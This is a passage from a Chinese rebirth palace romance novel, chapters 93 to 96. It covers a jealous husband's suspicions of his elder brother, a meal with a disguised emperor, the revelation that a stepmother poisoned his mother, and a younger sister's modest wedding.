柳舜华仰起脸,望进他含笑的眼眸,“你知道我在你兄长书房,为何不进去?” 贺玄度云淡风轻道:“有什么可进去的,我信你。” 柳舜华从周松手中接过轮椅,柔声道:“玄度,咱们回家。” 周松看着两人离去的背影,低头瞧着贺玄度脚尖那一点未消的残雪。 若不是他亲眼所见,他真的不敢相信,方才那个猫着腰蹲在人家书房窗台下,紧张得把暖炉都快捏变形的人是谁。 还“我信你”,周松翻个白眼,我信你个鬼。 第93章 第93章你今日怎么都不吃醋?…… 贺玄度回府,正撞上妙灵。 稍一琢磨,便觉有异,忙叫上周松,去往贺玄晖书房。 他到的时候,并未听到太多。 只听得兄长语气卑微,完全没了一贯的从容。 想起他近日的反常,早上送来的锦盒,蓁蓁一瞬失神的微妙瞬间。 贺玄度突然有种错觉,或许在他不知道的过往里,蓁蓁与兄长之间,藏着一段他永远无法触及的故事。 这个念头让他有些发闷,放在轮椅上的手指下意识收紧。 直到看到蓁蓁从书房内走出,毫不犹豫地奔向他。 那一刻,所有的猜疑、不安、失落、忽然就化作了满腔柔软。 他想,纵使有再多他不知道的过往又如何? 此刻她奔向的,终究是他。 …… 窗外枯竹在风中簌簌作响,干黄的竹叶打着旋儿落在窗台上。 柳舜华抱着小白,静坐在西窗下,怔愣地看着窗外。 妙灵轻手轻脚地进来换了几次茶,终究忍不住道:“少夫人,可是身子不适?” 柳舜华摇摇头,目光仍凝在那截枯竹上。 自那日书房一别,贺玄晖再未露面。 贺玄度也总是早出晚归,有时回来,她已睡下,朦朦胧胧中,他替她盖上被子,就那么轻轻地揽着她。 这几日,府里安静得可怕,连廊下的绿玉都不再乱叫。 自知晓贺玄晖记起上辈子,她心中便隐隐有些担忧。 前世她死得太早,不知道贺家与刘九生最后的结局,但贺玄晖知道。 这辈子,若贺家最后依旧走上造反的道路,那最后胜利的,一定是贺家。 “咯吱”一声,怀中小白突然不安地扭动起来。她这才惊觉,自己不知不觉间收紧了手臂。小东西吃痛,在她手背上抓出几道红痕,倏地跳下去,钻进笼中,只露出一双警惕的红眼睛望着她。 “少夫人?”妙灵闻声进来,见她手背上的伤痕,惊呼出声。 柳舜华勉强扯出一个笑容,“无碍。” 上辈子,比这更伤更痛的都熬了过来。这点小伤,对她来说并不算什么大事。 妙灵忙从药箱中拿出伤药,拉过她的手帮她涂上,“怎么能无碍呢,若是让二公子知晓,不知道多心疼呢。” 柳舜华垂头一笑,贺玄度连她蹙眉都紧张,这点抓伤怕是要惊动全院了。 妙灵还在絮叨着说待会要禀报贺玄度。 柳舜华望着手上的伤痕,想着贺玄度,心里不是滋味。 她不想瞒着贺玄度,这几日也一直想着,要不要把一切都告诉他。 可贺玄度终究也是贺家人,他能如何抉择? 还有,她要如何开口?难道要说她前世错嫁贺玄晖,最后落得个自焚而亡的下场?要说她曾痴心错付,直到死前才明白真正喜欢的是谁? 柳舜华心烦意乱,索性唤了芳草与妙灵出府散心。 因着贺玄度在后院另辟了西门,不必向程氏报备,倒让她得了自在。 几人来到望月楼,已是哺时,柳舜华点了一些喜欢的吃食。 外出没那么多讲究,芳草与妙灵随着一同坐下。 菜还未上,柳舜华倚在窗棂前看着街景。 忽听一声“冰糖葫芦”的吆喝由远及近,一个头戴毡帽的老汉扛着草靶子走过,上头插满了晶莹透亮的糖葫芦,日光一照,里头山楂红艳艳的。 “少夫人要尝尝吗?”妙灵探头问道。 柳舜华唇角微扬,“许久未吃了,倒有些想念。不过待会儿就要用膳……” 话音未落,守在楼梯口的洪声早已一个箭步冲下楼去。这厢丁宝也正捧着刚买的糖葫芦上楼,两人在拐角处撞个正着。 四目相对,洪声脑瓜一转,莫非丁宝也是要买给少夫人的? 他们的少夫人,岂能容他人献殷勤。 洪声眼珠一瞥,故意往丁宝身上撞去,趁机窜上楼。 丁宝得了大公子的指示,要他这些时日看好二少夫人,务必想尽办法,满足她的一切需求,自然不甘示弱,伸手一把拽住他的后襟。 眼瞅着就要上了楼,洪声急中生智,突然高喊一声:“大公子!” 丁宝下意识回头,洪声趁机一个箭步冲上前去,跑到柳舜华跟前,“少夫人,您……您要的糖葫芦。” 丁宝紧跟着上来,举着糖葫芦,“少夫人,给您。” 柳舜华看着他们,还未说话,只听有人道:“不好意思,让让,让让。” 有人扛着个插满糖葫芦的草靶子上来。 洪声与丁宝相互一望,这人谁啊? 草靶子被拿开,那人笑嘻嘻地看向柳舜华,“怎么样,够不够?” 柳舜华惊得手中茶盏差点脱手,那破旧的毡帽下,分明是一张再熟悉不过的面容,当今皇上刘昌。 柳舜华刚要起 身行礼,就被他一个眼神制止。 刘昌笑眯眯地取下三串,亲自递给芳草和妙灵。 两个丫头一脸狐疑地接过,总觉得这“老汉”举手投足间透着说不出的贵气。 洪声和丁宝更是傻了眼,两串糖葫芦悬在半空,进退不得。 刘昌瞥了他们一眼,“怎么,你们也想要?不过不好意思,我这糖葫芦,只给女子,你们可以退下了。” 洪声和丁宝还未反应过来,便被候在一旁的成川给提着扔下楼。 “终于清静了,可以好好吃一顿了。”刘昌也不客气,大喇喇地坐下。 柳舜华一笑,“你这是做什么?” 刘昌道:“没看出来吗,吃饭啊。我身上所有的钱都买了糖葫芦,你若不请我吃,我要饿肚子了。” 柳舜华扶额失笑,“你竟要蹭我一顿饭?” 刘昌一本正经道:“我这是体察民情。再说了,我的私房钱都拿去买糖葫芦了,总不能白跑一趟。” 芳草与妙灵看着刘昌,不住眼神示意,明显是想问要不要叫人。 柳舜华摇摇头,随他去吧。 正说着,小二端着铜锅上来。 “少夫人快尝尝这羊肉锅子!”芳草搓着手揭开铜锅。 白雾裹着香气扑面而来,切成薄片的山羊肉在汤底里翻滚,配着嫩黄的冬笋、翠绿的萝卜,甜脆的霜菘,看得人食指大动。 铜锅咕嘟咕嘟冒着泡,映得几人脸颊都红扑扑的。 恍惚间,柳舜华想起前世那个雪夜,她们三人依偎在炭火前,想象着能美美吃上一顿铜锅。 柳舜华拿起长筷,为两人各夹了满满的羊肉,“来,都多吃些。” 鲜嫩的肉片堆在碗里,还冒着腾腾热气。 妙灵受宠若惊地捧着碗,眼圈突然就红了。在相府伺候这些年,何曾想过有朝一日能与主子同席共食,更遑论主子还亲手为她夹菜。 “少夫人。”芳草的声音带着些许哽咽,筷子举在半空,迟迟舍不得落下。 柳舜华柔柔一笑,催促道:“快吃啊,凉了就不好吃了。” 刘昌实在看不下去,将碗重重搁在桌上,“柳舜华,你这个女人怎么回事,我这么大一个人坐在这儿,你是瞧不见么?” 柳舜华斜睨他一眼,慢条斯理地涮着羊肉,“你今日只是一个卖糖葫芦的,我留你一起吃已是给足你面子,还这么多话。” 刘昌嘟囔着,气鼓鼓地夹起肉片,在乳白汤底里涮了两下便往嘴里塞。 铜锅里的汤底冒着泡,蒸腾的热气模糊了他年轻俊朗的眉眼。 刘昌吃相虽优雅,速度却惊人,转眼间已经扫光了半盘羊肉。 “你慢些吃,又没人跟您抢。”柳舜华咋舌道:“你这是多久没吃饭了?” “你不知道,那里的饭难吃死了。”刘昌说着又夹了片冬笋,“再说……也没人陪我吃。” 这话让她想起初遇时的情形。也是在这望月楼,他召了梅好姑娘作陪。那姑娘吓得瑟瑟发抖,他嫌败了兴致,扬言要挖人眼睛。 她看出他在虚张声势,出面周旋。 原以为只是萍水相逢,谁知命运弄人,倒让他们成了半个朋友。 想到以后,柳舜华轻叹一声,不管刘昌为人如何,至少对她,他是真诚的。 她抬手,向他碗里也添了勺羊肉,“既如此,今日便多吃些。” 刘昌嘴角绷不住笑,装模作样道:“算你识相,说吧,你想要什么,回头我赏你。” 柳舜华看着刘昌别扭又满足的神情,不禁莞尔。 这个在外人眼中喜怒无常的少年天子,此刻倒像个讨到糖吃的孩子。 柳舜华一向吃得少,早早放下碗筷,看着他们三人风卷残云。 正出神间,忽见街对面闪过一道熟悉的身影,玄色大氅,玉冠束发,正是贺玄度。 她隔着窗子朝他挥手。 贺玄度看到她,笑着让周松推他进来。 芳草与妙灵见贺玄度进来,忙起身让座,站在一旁候着。 刘昌正吃得起劲,猛一抬头,瞥见贺玄度,迅速把肉全部放进去,扒到自己碗中。 柳舜华看了一眼护食的刘昌,顺手为贺玄度斟了杯热茶,柔声问:“用过膳了吗?” “吃过了。”贺玄度接过茶盏,指尖在她手背上轻轻一碰,“洪声说你在这,我特意过来寻你。” 柳舜华心头一暖,正欲说话,却见刘昌突然放下碗筷,神色复杂地望向贺玄度,“贺玄度你……不对劲。” 贺玄度淡声道:“怎么说?” 刘昌放下筷子,“你今日怎么都不吃醋?” 贺玄度扫了他一眼,“要不,你先照照镜子?” 铜锅里的汤汁渐渐见底,最后泡泡破裂的声音在沉默中格外清晰。 刘昌盯着他们交握的手,看了半晌,忽然垂头一笑,“罢了罢了,我吃饱了。”说着起身扛起那个插满糖葫芦的草靶子,“该去做生意了。” 贺玄度望着他离去的背影,那破旧的毡帽下,依稀可见少年天子倔强挺直的脊背。 “蓁蓁,谢谢你。”他开口道。 柳舜华不明所以,“你谢我什么?” 贺玄度看着渐行渐远的刘昌,“若非遇到你,我大概,会变成第二个刘昌。” 就像他一样,孤独、偏执,用暴戾掩饰内心的脆弱,在这寒冷的世间,无助地游荡。 暮色渐沉,柳舜华推着轮椅缓缓而行,忽然觉得,无论前路如何,只要有这双手相携,便没什么好怕的。 临到西门,贺玄度突然回头,“你放心,刘昌不会死。” 柳舜华一愕,“你怎么知道?” 贺玄度看着远处渐渐沉下去的夕阳,“睿帝临终前,曾留有口谕,不管日后何人登基,务必保刘昌一命。” 他这一番话,算是向她代交了个底朝天,将他这些时日的筹谋和盘托出。 柳舜华垂头,“你为何要与我说这些?” “蓁蓁,我对你从无隐瞒。”贺玄度握住她的手,“我希望,你也是。” 第94章 第94章别离开我! 天光将尽,一缕暮色斜映在府邸飞檐之上,朱红的廊柱愈发暗沉。 柳舜华本就不想瞒着贺玄度,尤其是目前的状况。 贺玄度与刘九生,刘九生与芊芊,犹如一张密密的网,将他们牢牢织在一起。 或许,她应该坦言,至少能让他稍微占取一些先机。 她方要张口,便见西门处有人从暗处走来。 “二弟,你们回来了。”贺玄晖神色平淡,目光自她面上掠过,落在贺玄度身上。 贺玄度微微侧首,语气淡漠,“兄长有何赐教?” 贺玄晖浑不在意,笑意融融,“我有些话,想同二弟说。” 檐下的灯笼被风吹得摇晃,昏黄的光影在三人之间明灭不定。 柳舜华下意识拉紧贺玄度。 “夜深露重,柳小姐还是先回房歇息。”贺玄晖侧身让出半步,灯笼在他脸上投下诡谲的阴影,“我们兄弟许久未曾好好说过体己话,今晚要好好聊聊。” “蓁蓁,你先回吧。”贺玄度拍了拍她的手,不忘温声嘱咐道:“夜里冷,你睡觉不老实,记得被子裹得紧些。” 暮色下,贺玄晖脸色骤沉。 这么多年,贺玄度还是头一回踏足贺玄晖书房。 脚下是冰冷的青砖,屋内炭火未及点燃,寒气渗骨。 案几上笔墨纸砚摆放得一丝不苟,烛火在灯盏中微微摇曳,将兄长端坐的身影投在墙面上,拉得修长。 同他想象中一样,这书房到处透着股淡淡的疏离,冷清得没有一丝人气。 贺玄度坐定,一抬眸,正瞧见墙角处挂着一幅画。 画中女子只有一个纤细的背影,一身明黄衣衫在桃林中格外醒目。正伸手去摘枝头的艳艳的桃花,衣袖半挽,露出一截皓腕。 贺玄度眉头深锁,不知为何,他总觉得这背影像极了蓁蓁。 可蓁蓁从不穿这样鲜艳的衣裳。 贺玄晖摆好棋盘,轻笑道:“我记得二弟幼时下棋不错,不知这些年可有精进?” 贺玄度垂眸看着棋盘纵横,“兄长说笑了,幼时棋路莽撞,哪里比得上兄长想得长远。” “是吗?可是依我看,你落子看似莽撞,实则最懂藏锋。”贺玄晖执了一颗白子,说得漫不经心。 贺玄度随意扣下黑子,“下个棋而已,差不多就得了。我远离相府这些年,兄长应当知道我的心性。” 贺玄晖敛眸,眉尖一动。 前世贺玄度断腿之后,一直偏居在后院,整日院门都懒得出,一直到后来葬身火海,其间并未闹出过什么动静。 这辈子,他虽阴差阳错先认识了柳舜华,但他打听过,他们只想要走高飞,离开长安去往凉州。 贺玄晖 抬头看了他一眼,见他眉目中带着一贯的懒散,淡声道:“我看二弟这些时日不常在府,想是又起了玩心。怎么,不怕冷落了新妇?” “小别胜新婚,时时在一起,我怕蓁蓁会腻味。”贺玄度缓缓道:“兄长未娶亲,哪里知道夫妻间的情趣。” 贺玄晖执棋的手微微顿了一下,旋即落下。 风吹过,满室梅花的清香。 贺玄度视线落在窗台的白梅上,他竟不知,兄长也爱梅。 贺玄晖笑问:“二弟觉得,这枝白梅如何?” 贺玄度点头,“暗香幽浮,不错。” “我院内有株白梅,昔日忙碌,竟不曾发觉它发了新枝,越过庭院开在了墙外。于是我便剪了这枝,插在这瓶内,留下日日观赏。” 贺玄晖抚过梅枝,笑意凝在唇角,“错开的枝桠,终究是要回归了正途。” 窗外忽地卷进一阵寒风,贺玄度伸手稳住摇晃的花枝,“我虽不懂花草养护,可也知草木有性,它既发了新枝,便是做了选择,兄长何必如此执着?” “二弟此言差矣。白梅错发,就应当及时修剪。”贺玄晖痴痴地望着白梅,“它只是暂时忘记了本心,需要加以引导,我这是帮它回归正途。” 贺玄度放在案下的手用力捏紧棋子,轻笑一声,“兄长所谓的回归正途,便是将它剪下枝头,禁锢在这一方小小的天地?” “墙外风雨凄苦,非久留之地。”贺玄晖收回目光,淡然道:“它只是……暂时忘了自己属于哪里。等它记起,自然会感激我。” 北风呼啸着撞开窗棂,瓶中梅枝应声而断。 贺玄度看着那截坠落的断枝,手中黑子悬在半空,“落叶离枝,再难返本。有些错过,就像这棋子,一旦落定,便再无反悔的机会。” 贺玄晖伸手将白梅捡起,吹落上面沾染的灰尘,“我不在乎,不管它变成什么模样,都是我的。你不会懂,这是天命。” “执念过深,反受其累。世间万物,自有定数。”贺玄度不屑,随手落子,打乱了贺玄晖苦心经营的局势,“兄长,你输了。” 贺玄晖一怔,旋即笑道:“二弟棋艺果然见长。” 贺玄度眼瞥向窗外,“愚弟已陪兄长下完这一局,家中夫人在等,恕我不能再奉陪了。” 轮椅碾过青砖,经过书案时被贺玄晖一把拦住,“二弟莫急,不如再与为兄鉴赏一下此画。” 贺玄度猛然抬头,墙上那幅画猝不及防撞进眼底。 画中女子脖颈微偏,青丝半掩处,耳后一粒朱砂小痣若隐若现。 贺玄度心头蓦地一刺,呼吸骤然凝滞。 轮椅突然倾斜,贺玄度下意识扶住案几,差点碰翻茶盏。 “二弟这是怎么了?”贺玄晖声音从身后传来。 贺玄度不说话,死死盯着墙上的画。 暮色深沉,一寸寸漫过画纸。 画中人面容骤然模糊,唯有那粒朱砂痣愈发鲜明,像一滴将干未干的血,灼得他眼眶生疼。 回去的时候,卧房的灯依旧亮着。 昏黄的灯光透过窗纸,在廊下投出一方暖色。 贺玄度停在阶前,窗纱映着一道纤细的身影,正随手翻着书册,在窗上勾勒出温柔的弧度。 檐下冰凌突然滴落一滴水,在贺玄度肩头氤氲开一片痕迹。 窗上的影子像是察觉了什么,忽然直起身。 门“吱呀”一声开了,柳舜华立在光里,散落的青丝被风吹起,露出耳后那颗殷红的朱砂痣。 “你回来了?”她伸手来拉他,指尖犹带着暖意。 贺玄度反手关上房门,将她抵在门上。 他手掌穿过青丝,扣住她的后脑,另一手环抱住她纤细的腰身,一把将她带进怀中,力道大得几乎要将人揉碎。 冬夜的寒气还未从他大氅上散尽,带着冷意的唇已经重重压了下来。他肆意啃噬着她柔软的唇瓣,撬开她的贝齿,近乎掠夺似在她口中的横冲直撞,带着一团滚烫的火,要将积压的妒意与不甘尽数宣泄。 柳舜华后腰磕在门上,吃痛地轻哼一声。 贺玄度趁机扣住她的手腕按在头顶,另一只手抚上她耳后,拇指重重擦过那粒朱砂痣。 窗外寒风呼啸着,竹枝拍打在窗棂上。 贺玄度垂头埋在她耳后,滚烫的唇舌一点点舐舔着那颗朱砂痣,温热的呼吸喷洒在她敏感的颈侧,激起一阵酥麻战栗,让她浑身发软,几乎站立不住。 唇舌纠缠间淡淡的血腥气蔓延,柳舜华低声呜咽,挣扎着想要躲开。 贺玄度却收紧了环在她腰间的手臂,玄色大氅滑落在地,露出里面被揉皱的中衣。他的吻沿着脖颈一路向下,在锁骨处不轻不重地咬了一口,留下个暧昧的红痕。 柳舜华抵不过他如此肆意的索取,仰头不停喘息,眼角泛红,双眸水波潋滟。 贺玄度心头一颤,满腔妒火顿时就熄了大半,指腹抚过她被蹂躏得嫣红的唇瓣,拭去嘴角的血丝。 他喉结滚动,声音沙哑得不像话,“疼吗?” 声音里满是懊悔,方才的凶狠荡然无存,只剩满眼心疼。 柳舜华抬眸望去,眼中满是担忧,“玄度,你怎么了?” 贺玄度溃不成军。 他也不知道到底是哪里出了问题,贺玄晖会对蓁蓁了如指掌。有那么一瞬,他几乎就要怀疑,这一切是否真如贺玄晖所言,是天命? 所以,他明明知道,蓁蓁从未骗过自己,她与贺玄晖之间也未有任何私情。可那幅画还是深深刺激了他,让他瞬间失控。 他俯身将柳舜华紧紧搂住,下巴抵在她发顶,声音闷闷的,“对不起,蓁蓁,我吓到你了。” 柳舜华拍着他的后背,不停安抚道:“玄度,可是近来太紧张了?我给你倒杯安神茶来。” “不,你不要走,我不准你走。”贺玄度手臂不自觉地收紧,像是怕她消失一般。 柳舜华笑着戳他心口,“傻子,我不走,我是你的妻子。” 她的脸颊贴在他胸前,能清晰地听见他有力的心跳声。 贺玄度摩挲着她耳后的红痣,欲言又止,“蓁蓁,若是一个人……爱错了人……会怎样?” 柳舜华背脊微微一僵,旋即抱紧他,声音轻柔得像羽毛,“红绳错系,就该当机立断,斩断孽缘。这红尘万丈,自有命中良人相候。” 贺玄度脸色瞬间煞白如纸,心脏猛地抽痛,却还在拼命克制,生生挤出一个笑来,“是啊……” 他指尖不自觉蜷缩,想要回抱着她,最终却无力地垂落。 夜阑人静,烛火已熄。黑暗如潮,沉沉地笼罩着大红的床帐。 柳舜华悄悄睁开眼,借着窗外微弱的月光,看着身侧的贺玄度。 他呼吸很轻,应是还未睡,眉头紧锁的模样让她心头一软。 柳舜华想了良久,还是缓缓开口,“玄度,我有些话,想要同你说。” 贺玄度身形微僵,喉间发紧,“有什么话,改日再说吧。” 柳舜华怔怔地望着他紧绷的侧脸,想是他近日太忙,又要面对贺玄晖的试探,不忍再打扰了,默默转过身去。 贺玄度闭着眼,听着更漏声声,心绪纷乱。 突然,他一个翻身,滚烫的呼吸纠缠着她耳后朱砂痣,“蓁蓁,若我就是那错系的红绳呢?” 柳舜华先是一怔 ,继而笑弯了眉眼,手指抚上他紧绷的脊背,温柔至极。 “傻子,你怎么会是错系的红绳呢。”她声音柔得能融化的冰雪,“贺玄度,你是我的良人,生生世世。” 一滴温热猝然落在她颈间,贺玄度将她狠狠揽在怀中,听着她急促的心跳与自己渐渐重合,哽咽道:“蓁蓁,以后无论如何,都别离开我!” 柳舜华眼眶泛红,“贺玄度,你放心,即便是死了,我也要攥紧你。” 窗外雪落无声,炭盆里的火星“噼啪”炸开。 贺玄度低头轻吻她发间,嗅着熟悉的荷香,心头那根紧绷的弦终于松开。 这一刻,什么破画,什么朱砂痣,都不及怀中人的温度来得真实。 蓁蓁是他的,只能是他的。 第95章 第95章程氏害得她好苦! 腊月初,刘九生登门柳府,正式提亲。 消息一出,柳府众人对此事态度分明,迅速分作三派。 柳父尚不清楚刘九生背景底细,但观其言谈举止,自觉非池中物,对这个准女婿极为满意。再加之柳棠华在旁说尽好话,言语间尽是对刘九生的赞誉,更坚定了结亲之念。 柳桓安始终眉头深锁,他虽遵从睿帝遗愿,暗中扶持刘九生,却不愿将家人卷入这风云诡谲的棋局。对此事始终抱有疑虑,持中立态度。 另外自然是以柳舜华为首的反对派,紧随其后的,还有柳棠华的生母,孙姨娘。 作为其中最激烈的反对者,孙姨娘听闻一个来历不明的穷小子登门求娶自己女儿,觉得天都要塌了。 她原盘算得极好,大小姐已嫁入相府,芊芊即便攀不上王侯贵胄,至少也能许个门第相当的官宦子弟,谁知竟等来这么个无名之辈! 更可恨的是,老爷竟像被灌了迷魂汤,非但没将人轰出去,反倒欣然应允。 她哭天抢地,嚷着要绝食,找上柳奉闹了几次无果后,听闻柳舜华也极力反对,连夜让人传话邀她过府一叙。 柳舜华本就有此意,得了她的信,当即命人备轿回府。 临行前,她瞥了眼随行的贺玄度,嘱咐道:“今日回府,你只管喝茶。” 贺玄度不是柳家人,又与刘九生交情匪浅,夹在中间,也不好乱说话,只缩在厅角装鹌鹑,捧着一盏茶啜得专心致志。 正堂里,柳家人争论得不可开交。 孙姨娘借着添茶的由头,凑到贺玄度跟前,压着嗓子道:“好女婿,你高门显贵的,可认得哪些尚未婚配的年轻才俊?” 这声“女婿”虽让贺玄度很受用,但哪里敢掺和进来,慌忙摆手,“您说笑了,我认识那些,都是不成器的,哪配得上二妹妹这样的闺秀。” 孙姨娘见他不肯帮忙,讪讪离开。 柳舜华与柳奉还在争执。 柳奉以为她嫌弃刘九生,捋着胡须道:“蓁蓁啊,看人,眼皮子不能这么浅。眼下他刘九生是清贫不假,但他举止有礼,谈吐不凡,将来未必没有个好前程。” 他前程可太好了,踩着尸山血海爬上帝王之路,好到让她害怕。 柳舜华只道:“父亲,刘九生他不适合芊芊。芊芊可以有更好的选择,为什么非要嫁给他呢?” 柳奉一头雾水,“你怎么知道他不适合芊芊,你们认识?” 柳舜华转向一旁的柳棠华,“芊芊,你出来,我有几句话同你讲。” 柳棠华跟着柳舜华来到暖阁。 “芊芊,”柳舜华直截了当地问,“你当真非要嫁给刘九生不可?” 柳棠华默默点头,“姐姐,我的心意……从未变过。” 柳舜华声音软下来,“芊芊,你不是也喜欢凉州的生活吗?那里有阿莹陪你喝酒,有古赞丽陪你唱歌跳舞,跟着我一起去凉州不好吗?” “姐姐,”柳棠华语气坚定,“我已经决定了。” 柳舜华松开她的手,声音沉下来,“那你可知,他是要做皇帝的?” 柳棠华转头,看向窗外光秃秃的梧桐枝桠,缓缓道:“我知道。” “你知道,刘九生跟你说了?”柳舜华愕然。 柳棠华轻笑,“是的,就在他上门提亲前夕。” 柳舜华胸口起伏,“既然你都知道,为何还要嫁?那里冷冰冰的,没有亲人,也没有朋友,只有束缚人的规矩。你以为嫁的是心上人,可他是天下人的皇帝,怎么可能只爱你一个人。这样的日子,真的是你想要的吗?” 柳棠华抬起头,“姐姐还记得凉州时,咱们突遇贼匪,同将士们一起露宿荒野那晚吗?” 柳舜华喉间发紧,仿佛又看到芊芊一脸天真,同满身征尘的将士们围坐在篝火旁。 “那夜,我听他们风轻云淡地说着战场上与匈奴铁骑厮杀,说起硝烟四起里无尽的尸骨。有个小将士不过十二岁,笑着给我看他肩上贯穿的箭伤。”柳棠华声音沉静,“其实,他们哪个人身上不是千疮百孔,可在他们眼里却丝毫不见惧色,只有守护山河的骄傲。” 她握住柳舜华的手,“姐姐,我知道,深宫是另一个战场,朱墙碧瓦藏着无数刀光剑影。我也知道前路艰难,可若人人都畏惧幽暗,这世道就永远亮不起来。我不想做什么皇后,可九生说他要开创一个海晏河清的盛世,我信他,更信我能陪他走到最后。姐姐,我能保护好我自己。” 暖阁里忽然安静得可怕。 柳舜华看着柳棠华挺直的脊背,忽然意识到,那个总跟在她身后的小雀儿,不知何时已长出想要庇护苍生的羽翼。 …… 临近年关,贺玄度却回来得越来越晚。 有时候太晚,怕吵醒她,他干脆直接在外间宿下。 随着刘昌退位之期临近,贺玄度愈发忙碌起来。 柳舜华几次想开口,望着他眼下日益浓重的青影,终是咽下了喉间的话语。 罢了,待刘九生登基后再说也不迟。 这日方用过午膳,周松便急匆匆过来,神色凝重,附在贺玄度耳边低语几句,说什么人找到了。 贺玄度面色剧变,当即便出了门。 柳舜华直觉有什么不好的事要发生,心头猛地一揪,匆匆叫住他,“玄度,我今晚等你!” 贺玄度身形骤然一顿,回头道:“好,蓁蓁,等我。” 一直等到深夜,庭外突然一阵响动。 贺玄度回来了,他孤零零地立在院中那株海棠树下,月光将他的影子拉得很长,很长。 入夜之后,贺玄度院内只有洪声伺候着。洪声早已歇下,此刻他不必再伪装腿疾,就愣愣地站在院内,独自望着西竹院的方向,挺拔的身影透着说不出的萧索。 柳舜华推门,默默将一件大氅轻轻搭在他肩上。 贺玄度紧绷的肩胛骨微微颤抖,猛地转身,将柳舜华拥在怀中。他抱得那样紧,仿佛要将她揉进骨血里。 夜风吹来,柳舜华闻到空中若有若无的血腥味。 她抬手抚上他的背脊,像安抚受伤的幼兽,“别怕,我一直在呢。” “蓁蓁……”贺玄度的声音支离破碎,带着说不尽的委屈,“我想我娘了。” 冬夜的风裹着细碎的雪粒,拍在脸上。 柳舜华轻轻挣开贺玄度的怀抱,牵着他冰凉的手走进内室。 炭盆里的炭火烧得正旺,她引他在暖榻坐下,鎏金熏笼里沉水香的青烟袅袅升起,清洌的气息幽幽浮动。 柳舜华倒了一杯热茶递过去,柔声问:“发生了何事?” 贺玄度握紧杯盏,每个字都像是从齿缝间挤出来,“程氏,她害死了我母亲。” 柳舜华浑身剧震,程氏害死了先夫人? 她心口起伏,缓声道:“我此前问过妙灵,她说母亲是生产不顺,郁郁而终,怎么会这样?” 贺玄度眼中翻涌出恨意,“不,是程氏买通了女医,在母亲常用的药物里下了毒。” 柳舜华固然不喜欢程氏,但她若想下毒,先夫人身边之人不会没有察觉。 “若是下毒,旁人不说,老夫人岂会看不出来?” “她手段阴狠,在母亲生产后,趁着她产后虚弱,让人在她安神汤里掺了活血的剧毒。”贺玄度垂眸,“几乎所有人都以为,母亲是血崩而亡,没有人怀疑。” 一瞬间,柳舜华仿佛想到了什么,喃喃道:“怎么会这样,怎么会这样?” 红烛泣泪,贺玄度仿佛又看到母亲临死前的模样,她面色煞白,冷汗浸透中衣,身下锦褥被鲜血浸透。 他瞳孔剧烈震颤,声音嘶哑,“好多血,到处都是血,母亲她一定很疼……” 柳舜华脑袋“嗡”地一声,浑身剧烈颤抖,寒意如毒蛇般顺着脊背攀爬而上。 前世,芊芊也是产后血崩而亡。 贺玄 晖书房内,丞相的话骤然响在耳畔: “你母亲真是被我宠惯了,做事总是无所顾忌。我也没想到,她竟然如此胆大包天,私下做出这种蠢事……” 重活一世,她始终想不明白,贺丞相虽留恋权势,一直把持着朝政,但始终打着“匡扶社稷”的旗号,此前也未表现出对皇位有觊觎。 为何会铤而走险,走上了造反这条路。 如今她总算是想通了,因为,程氏她杀了皇后娘娘。 为了让自己女儿登上皇后的宝座,她竟然胆大包天,毒杀当朝皇后! 柳舜华心上疼得一阵抽搐,她的芊芊,竟是这么死的。 她按下心上的躁动,温声问道:“此事,你是如何得知的?” “上林苑中,我带走的黑衣人,是彭城王的人。事后,我将人转移到九生住处的密室内,谎称我们是丞相府的人。逼问之下,他为保命,要求见我父亲。我出面与他周旋,他透露此前奉命监视相府,无意中窥见相府一桩秘闻。” 贺玄度犹沉浸在悲痛中,缓缓抬头,“我让周松去寻当年为我母亲治病的女医,就在今日,人找到了。她……全招了。” 原来如此,刘九生也知晓此事。 是了,他如此精明,上辈子怎么可能没有察觉。 那极有可能……他迎娶贺容暄为继后,盛宠于她,都是装的。 贺丞相那般老谋深算之人,若非被逼至绝境,怎会行此险招去造反? 他定是察觉到刘九生暗中的举动,要先发制人。 前世一些支离破碎的谜团渐渐浮出水面,柳舜华心内翻腾,喉间涌上一股腥甜。 程氏为了一己私利,先是怂恿着贺玄晖娶了她,婚后又对她百般羞辱。又为了自己的女儿,将芊芊活活折磨致死。如今,更是害得贺玄度没了母亲,孤苦无依。 这桩桩件件,她如何能忍? 她缓缓转身,指尖轻抚过贺玄度紧蹙的眉间,“玄度,咱们……先不回凉州了,好不好?” 贺玄度浑身一震,抬眸时眼底翻涌着万千情绪,伸手拭去她不知何时落下的泪,“蓁蓁,是我将你拖进这潭死水里……我……” 她突然俯身,额头抵在他膝头,青丝如瀑散落。 再抬起脸时,眼中燃着他从未见过的火焰,“不,我要亲眼看着程氏,血债血偿。” 第96章 第96章今夜,才是我们的洞房花…… 知晓前世因果,柳棠华又铁了心要嫁,柳舜华没有理由再反对她的婚事。 既已知晓棠华上辈子的死因,这辈子她定当竭力护她周全。 只是,有一事她还未想明白。 刘九生处事沉稳,精明老成,当初力排众议,将芊芊扶上皇后之位,她生子这样的大事,怎么会毫无防备,以致让程氏钻了空子? 或许是百密一疏,但这辈子有她,若真到那时候,她定会寸步不离,保芊芊平平顺顺。 刘九生与柳棠华的婚期很快定了下来。 柳棠华知晓,以刘九生目前的处境不易招摇,主张一切从简。 柳桓安也正有此意,他身份特殊,若是让贺丞相知晓,他暗中与刘九生有接触,那对刘九生继位极其不利。 大婚当日,柳桓安与柳舜华都称病未出。 孙姨娘站在堂前,脸色铁青。柳舜华出嫁时,满城权贵争相道贺,连宫里的赏赐都堆了一堆。可如今自己女儿下嫁,连亲兄长和长姐都不愿来观礼,这脸面,算是丢尽了。 柳家亲眷此前已经听闻,二小姐不顾劝阻,执意要嫁给一个穷小子,惹得柳家大公子与大小姐与她闹得很不愉快,如今一看,便知传言不假。 大小姐嫁了高门,十里红妆,风风光光;对比之下,二小姐的喜轿则显得过于简陋,陪嫁也有些寒酸。 柳奉事先不知柳桓安兄妹两人不来观礼,见女儿孤零零地站在喜堂上,心中不忍,连忙上前低声宽慰:“芊芊,莫要难过,你兄长与姐姐只是事务缠身,有爹在呢。” 柳棠华垂眸,指尖轻轻抚过嫁衣与腕间的鎏金喜镯。 这身嫁衣,是姐姐一针一线,连夜赶制出来的;喜镯是兄长用几个月俸禄,特意请人打造的。 “爹爹,我知道的,您不用担心。”她眼角含泪,向着柳奉盈盈一拜,“往后女儿不能常伴左右,还望爹爹多保重。” 外头响起一阵爆竹声,喜娘高喊着“吉时到”,柳棠华挺直了脊背,一步步走出柳府大门。 刘九生早已在花轿前等候多时。 